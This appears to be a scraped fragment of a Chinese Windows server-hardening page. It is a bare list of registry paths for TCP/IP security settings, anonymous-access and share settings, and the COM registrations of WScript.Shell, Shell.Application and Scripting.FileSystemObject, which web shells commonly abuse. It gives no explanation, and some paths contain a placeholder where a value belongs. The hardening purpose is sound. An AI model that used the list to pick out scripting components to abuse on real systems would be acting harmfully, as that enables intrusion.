HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/TcpIp/Parameters/EnableICMPRedirect
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/EnableDeadGWDetect
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/DisableIPSourceRouting
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/EnableMulticastForwarding
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/IPEnableRouter
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/EnableAddrMaskReply
HKEY_CLASSES_ROOT/WScript.Shell
HKEY_CLASSES_ROOT/WScript.Shell.1
HKEY_CLASSES_ROOT/WScript.Shell/CLSID/
HKEY_CLASSES_ROOT/WScript.Shell.1/CLSID/
HKEY_CLASSES_ROOT/Shell.Application
HKEY_CLASSES_ROOT/Shell.Application.1
HKEY_CLASSES_ROOT/Shell.Application/CLSID/项目的值
HKEY_CLASSES_ROOT/Shell.Application.1/CLSID/项目的值
HKEY_CLASSES_ROOT/Scripting.FileSystemObject
HKEY_CLASSES_ROOT/Scripting.FileSystemObject/CLSID/项目的值
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/LSA/RestrictAnonymous
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters/AutoShareServer
相关文章
相关标签/搜索